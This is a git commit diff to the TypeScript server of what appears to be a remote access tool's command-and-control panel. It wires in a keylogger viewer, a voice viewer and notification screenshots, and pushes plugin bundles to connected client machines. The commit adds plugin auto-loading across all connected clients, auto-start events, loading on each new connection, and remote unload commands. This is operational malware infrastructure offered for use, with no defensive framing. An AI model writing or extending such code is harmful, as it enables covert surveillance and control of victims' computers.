make plugin api not dog shit

This commit is contained in:
KingKDot
2026-03-23 10:58:52 -05:00
parent 19c6e40607
commit 17b88cb160
7 changed files with 307 additions and 4 deletions
@@ -20,6 +20,8 @@ type PluginBundle = {
type PluginState = {
enabled: Record<string, boolean>;
lastError: Record<string, string>;
autoLoad: Record<string, boolean>;
autoStartEvents: Record<string, Array<{ event: string; payload: any }>>;
};
type PluginRouteDeps = {
@@ -38,6 +40,7 @@ type PluginRouteDeps = {
isPluginLoaded: (clientId: string, pluginId: string) => boolean;
isPluginLoading: (clientId: string, pluginId: string) => boolean;
enqueuePluginEvent: (clientId: string, pluginId: string, event: string, payload: any) => void;
drainPluginUIEvents: (clientId: string, pluginId: string) => Array<{ event: string; payload: any }>;
secureHeaders: (contentType?: string) => Record<string, string>;
securePluginHeaders: () => Record<string, string>;
mimeType: (path: string) => string;
@@ -65,6 +68,8 @@ export async function handlePluginRoutes(
...p,
enabled: deps.pluginState.enabled[p.id] !== false,
lastError: deps.pluginState.lastError[p.id] || "",
autoLoad: deps.pluginState.autoLoad[p.id] === true,
autoStartEvents: deps.pluginState.autoStartEvents[p.id] || [],
}));
return Response.json({ plugins: enriched });
}
@@ -173,6 +178,59 @@ export async function handlePluginRoutes(
return Response.json({ ok: true, id: pluginId, enabled });
}
const pluginAutoLoadMatch = url.pathname.match(/^\/api\/plugins\/(.+)\/autoload$/);
if (req.method === "POST" && pluginAutoLoadMatch) {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (user.role !== "admin" && user.role !== "operator") {
return new Response("Forbidden: Admin or operator access required", { status: 403 });
}
let pluginId = "";
try {
pluginId = deps.sanitizePluginId(pluginAutoLoadMatch[1]);
} catch {
return new Response("Invalid plugin id", { status: 400 });
}
let body: any = {};
try {
body = await req.json();
} catch {}
const autoLoad = !!body.autoLoad;
deps.pluginState.autoLoad[pluginId] = autoLoad;
if (Array.isArray(body.autoStartEvents)) {
const validEvents = body.autoStartEvents.filter(
(e: any) => e && typeof e.event === "string" && e.event.length > 0,
);
deps.pluginState.autoStartEvents[pluginId] = validEvents;
}
await deps.savePluginState();
if (autoLoad) {
const allClients = clientManager.getAllClients();
for (const [cid, client] of allClients) {
if (deps.isPluginLoaded(cid, pluginId) || deps.isPluginLoading(cid, pluginId)) continue;
try {
const bundle = await deps.loadPluginBundle(pluginId, client.os, client.arch);
deps.markPluginLoading(cid, pluginId);
deps.sendPluginBundle(client, bundle);
metrics.recordCommand("plugin_load");
} catch {
}
}
}
return Response.json({
ok: true,
id: pluginId,
autoLoad,
autoStartEvents: deps.pluginState.autoStartEvents[pluginId] || [],
});
}
const pluginDeleteMatch = url.pathname.match(/^\/api\/plugins\/(.+)$/);
if (req.method === "DELETE" && pluginDeleteMatch) {
const user = await authenticateRequest(req);
@@ -201,10 +259,30 @@ export async function handlePluginRoutes(
await fs.rm(pluginDir, { recursive: true, force: true });
} catch {}
// Unload from all clients that have it loaded
for (const [cid, loadedSet] of deps.pluginLoadedByClient) {
if (!loadedSet.has(pluginId)) continue;
const target = clientManager.getClient(cid);
if (target) {
try {
target.ws.send(
encodeMessage({
type: "command",
commandType: "plugin_unload",
id: uuidv4(),
payload: { pluginId },
}),
);
} catch {}
}
}
deps.pluginLoadedByClient.forEach((set) => set.delete(pluginId));
deps.pluginLoadingByClient.forEach((set) => set.delete(pluginId));
delete deps.pluginState.enabled[pluginId];
delete deps.pluginState.lastError[pluginId];
delete deps.pluginState.autoLoad[pluginId];
delete deps.pluginState.autoStartEvents[pluginId];
await deps.savePluginState();
return Response.json({ ok: true, id: pluginId });
@@ -241,6 +319,22 @@ export async function handlePluginRoutes(
}
}
const pluginEventsPollMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/events$/);
if (req.method === "GET" && pluginEventsPollMatch) {
const user = await authenticateRequest(req);
if (!user) return new Response("Unauthorized", { status: 401 });
try {
requirePermission(user, "clients:control");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
const targetId = pluginEventsPollMatch[1];
const pluginId = pluginEventsPollMatch[2];
const events = deps.drainPluginUIEvents(targetId, pluginId);
return Response.json({ events });
}
const pluginEventMatch = url.pathname.match(/^\/api\/clients\/(.+)\/plugins\/(.+)\/event$/);
if (req.method === "POST" && pluginEventMatch) {
const user = await authenticateRequest(req);
@@ -53,6 +53,7 @@ type WsLifecycleDeps = {
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
@@ -373,6 +374,7 @@ export async function handleWebSocketMessage(
clientManager.addClient(infoObj.id, infoObj);
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.notifyDashboard();
deps.notifyDashboardClientEvent("client_online", {
id: infoObj.id,